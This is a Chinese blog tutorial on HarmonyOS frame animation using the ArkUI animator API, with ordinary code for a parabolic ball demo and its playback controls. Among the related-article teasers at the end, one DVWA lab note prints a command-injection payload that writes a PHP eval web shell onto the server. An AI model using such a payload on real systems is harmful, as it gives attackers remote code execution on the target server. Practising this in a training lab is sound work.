HarmonyOS开发:关于帧动画使用分享

目录

引言

关于帧动画技术

关于帧动画

实现帧动画

animator实现动画效果

1、引入相关依赖

2、创建执行动画对象

3、播放动画

4、释放对象

animator实现小球抛物运动

1、引入相关依赖

2、定义动画组件

3、创建对象

4、操作按钮设置

5、释放对象

自定义帧动画

结束语


引言

在移动开发中,帧动画是移动应用中一种常见的动画形式,通过连续播放一系列静态图像来创建动画效果,而且随着用户需求的越来越复杂,帧动画的应用也会越来越广泛。在HarmonyOS中,帧动画的使用不仅可以提升应用的交互体验,还能增强视觉效果,是鸿蒙原生开发中的关键技术点。那么本文就来详细介绍如何在HarmonyOS应用中实现帧动画,包括帧动画的基本概念、实现步骤和代码示例,方便大家查阅了解使用。

关于帧动画技术

帧动画,也称为帧序列动画,是通过将一系列图像(帧)按顺序快速播放来创建动画效果的技术。每一帧都是动画中的一个静态图像,连续播放这些帧就形成了动态效果。通过返回应用onFrame逐帧回调的方式,让开发者在应用侧的每一帧都可以设置属性值,从而实现设置了该属性值对应组件的动画效果。相比于属性动画,开发者可感知动画的过程,实时修改UI侧的值,具有事件可实时响应、可暂停的优点,但性能上不如属性动画。

关于帧动画

在HarmonyOS中,帧动画一般情况下,主要涉及下面的操作:

  1. 准备帧资源:创建或获取一系列用于动画的图像资源。
  2. 创建动画集:将帧资源组织成动画集。
  3. 播放动画:在应用中播放动画集。
  4. 控制动画:控制动画的播放、暂停、重复等行为。

实现帧动画

接下来分享关于帧动画的具体实现过程,本文主要是通过使用animator实现动画效果和使用animator实现小球抛物运动来做示例演示。

animator实现动画效果

1、引入相关依赖

首先,需要引入相关依赖,具体如下所示:

import { AnimatorOptions, AnimatorResult } from '@kit.ArkUI';

2、创建执行动画对象

接着创建执行动画的对象,具体如下所示:

// 创建动画的初始参数
let options: AnimatorOptions = {                        
   duration: 1500,                               
   easing: "friction",                        
   delay: 0,                           
   fill: "forwards",                                  
   direction: "normal",                                  
   iterations: 2,                                        
   // 动画onFrame 插值首帧值                                    
   begin: 200.0,                                         
   // 动画onFrame 插值尾帧值                                    
   end: 400.0                                            
}; 
let result: AnimatorResult = this.getUIContext().createAnimator(options);
   // 设置接收到帧时回调,动画播放过程中每帧会调用onFrame回调
    result.onFrame = (value: number) => {

}

3、播放动画

接着播放动画,具体如下所示:

// 播放动画
result.play();

4、释放对象

接着是动画执行完成后手动释放AnimatorResult对象,具体如下所示:

// 释放动画对象
result = undefined;

animator实现小球抛物运动

1、引入相关依赖

首先,需要引入相关依赖,具体如下所示:

import { AnimatorOptions, AnimatorResult } from '@kit.ArkUI';

2、定义动画组件

接着定义要做动画的组件,具体如下所示:

Button()
  .width(60)
  .height(60)
  .translate({ x: this.translateX, y: this.translateY })

3、创建对象

然后在onPageShow中,创建AnimatorResult对象,具体如下所示:

onPageShow(): void {
    //创建animatorResult对象
    this.animatorOptions = this.getUIContext().createAnimator(options);
    this.animatorOptions.onFrame = (progress: number) => {
    this.translateX = progress;
    if (progress > this.topWidth && this.translateY < this.bottomHeight) {
       this.translateY = Math.pow(progress - this.topWidth, 2) * this.g;
    }
 }
 //动画取消时执行方法
 this.animatorOptions.onCancel = () => {
    this.animatorStatus = '取消';
 }
 //动画完成时执行方法
 this.animatorOptions.onFinish = () => {
    this.animatorStatus = '完成';
 }
 //动画重复播放时执行方法
 this.animatorOptions.onRepeat = () => {

 }
}

4、操作按钮设置

接着是定义动画播放,重置,暂停的按钮,具体如下所示:

Button('播放').onClick(() => {
  this.animatorOptions?.play();
  this.animatorStatus = '播放中'
}).width(80).height(35)
Button("重置").onClick(() => {
  this.translateX = 0;
  this.translateY = 0;
}).width(80).height(35)
Button("暂停").onClick(() => {
  this.animatorOptions?.pause();
  this.animatorStatus = '暂停'
}).width(80).height(35)

5、释放对象

最后在页面隐藏或销毁的生命周期中释放动画对象,避免内存泄漏,具体如下所示:

onPageHide(): void {
  this.animatorOptions = undefined;
}

自定义帧动画

除了上面基本的帧动画功能,开发使用者还可以根据应用的需求自定义帧动画,比如下面的操作:

  • 响应用户输入:根据用户的触摸或手势改变动画的播放速度或方向。
  • 与其他动画结合:将帧动画与其他类型的动画(如属性动画)结合,创造更复杂的视觉效果。

结束语

不用多说,就可以看出帧动画是HarmonyOS开发中的一项基本功能,它为应用提供了丰富的视觉效果和用户互动。通过本文的介绍,大家应该都了解了如何在HarmonyOS应用中实现帧动画,以及后面的开发中也会运用帧动画相关的技术点来实现动画效果。随着技术的不断发展,帧动画将在HarmonyOS生态中继续扮演重要的角色和地位,为用户带来更加丰富和好用的体验。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948113.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…

Java SpringBoot使用Apache POI导入导出Excel文件

点击下载《Java SpringBoot使用Apache POI导入导出Excel文件(源代码)》 1. Apache POI 简介 Apache POI 是一个强大的 Java 库&#xff0c;用于处理 Microsoft Office 文档&#xff0c;包括 Excel 文件&#xff08;.xls 和 .xlsx&#xff09;。在 Java Spring Boot 项目中&am…

基于Spring Boot的健康饮食管理系统

一、系统架构与技术栈 系统架构&#xff1a;系统通常采用典型的三层架构设计&#xff0c;分为表现层、业务逻辑层和数据访问层。表现层负责与用户进行交互&#xff0c;展示信息和接收用户输入&#xff1b;业务逻辑层处理系统的核心业务&#xff0c;如用户信息管理、饮食记录分…

Maven 详细配置:Maven 项目 POM 文件解读

Maven 是 Java 开发领域中广泛使用的项目管理和构建工具&#xff0c;通过其核心配置文件——POM&#xff08;Project Object Model&#xff09;文件&#xff0c;开发者能够定义项目的基本信息、依赖关系、插件配置以及构建生命周期等关键要素。POM 文件不仅是 Maven 项目的核心…

计算机网络 (23)IP层转发分组的过程

一、IP层的基本功能 IP层&#xff08;Internet Protocol Layer&#xff09;是网络通信模型中的关键层&#xff0c;属于OSI模型的第三层&#xff0c;即网络层。它负责在不同网络之间传输数据包&#xff0c;实现网络间的互联。IP层的主要功能包括寻址、路由、分段和重组、错误检测…

pip安装paddle失败

一、pip安装paddle失败&#xff0c;报错如下 Preparing metadata (setup.py) ... error error: subprocess-exited-with-error import common, dual, tight, data, prox ModuleNotFoundError: No module named common [end of output] 二、解决方法&#xff1a; 按照提示安装对…

计算机网络 (19)扩展的以太网

前言 以太网&#xff08;Ethernet&#xff09;是一种局域网&#xff08;LAN&#xff09;技术&#xff0c;它规定了包括物理层的连线、电子信号和介质访问层协议的内容。以太网技术不断演进&#xff0c;从最初的10Mbps到如今的10Gbps、25Gbps、40Gbps、100Gbps等&#xff0c;已成…

企业二要素如何用java实现

一、什么是企业二要素&#xff1f; 企业二要素&#xff0c;通过输入统一社会信用代码、企业名称或统一社会信用代码、法人名称&#xff0c;验证两者是否匹配一致。 二、企业二要素适用哪些场景&#xff1f; 例如&#xff1a;企业日常运营 1.文件与资料管理&#xff1a;企业…

企业三要素如何用PHP实现调用

一、什么是企业三要素&#xff1f; 企业三要素即传入的企业名称、法人名称、社会统一信用代码或注册号&#xff0c;校验此三项是否一致。 二、具体怎么样通过PHP实现接口调用&#xff1f; 下面我们以阿里云为例&#xff0c;通过PHP示例代码进行调用&#xff0c;参考如下&…

一份完整的软件测试报告如何编写?

在软件开发的过程中&#xff0c;测试是必不可少的环节。然而&#xff0c;测试报告往往是最被忽视的部分。你是否也曾在忙碌的测试工作后&#xff0c;面对一份模糊不清的测试报告感到头疼&#xff1f;一份清晰、完整且结构合理的测试报告&#xff0c;能够帮助团队快速了解软件的…

021-spring-springmvc-组件

SpringMVC的handMapping 比较重要的部分 比较重要的部分 比较重要的部分 关于组件的部分 这里以 RequestMappingHandlerMapping 为例子 默认的3个组件是&#xff1a; org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping org.springframework.web.servlet.mvc…

Golang的并发编程实战经验

## Golang的并发编程实战经验 并发编程是什么 并发编程是指程序的多个部分可以同时执行&#xff0c;这样可以提高程序的性能和效率。在Golang中&#xff0c;并发编程是通过goroutine来实现的&#xff0c;goroutine是一种轻量级线程&#xff0c;可以在一个程序中同时运行成千上万…

【时时三省】(C语言基础)常见的动态内存错误

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ----CSDN 时时三省 对NULL指针的解引用操作 示例&#xff1a; malloc申请空间的时候它可能会失败 比如我申请一块非常大的空间 那么空间可能就会开辟失败 正常的话要写一个if&#xff08;p&#xff1d;&#x…

计算机网络 (18)使用广播信道的数据链路层

一、广播信道的基本概念 广播信道是一种允许一个发送者向多个接收者发送数据的通信信道。在计算机网络中&#xff0c;广播信道通常用于局域网&#xff08;LAN&#xff09;内部的主机之间的通信。这种通信方式的主要优点是可以节省线路&#xff0c;实现资源共享。 二、广播信道数…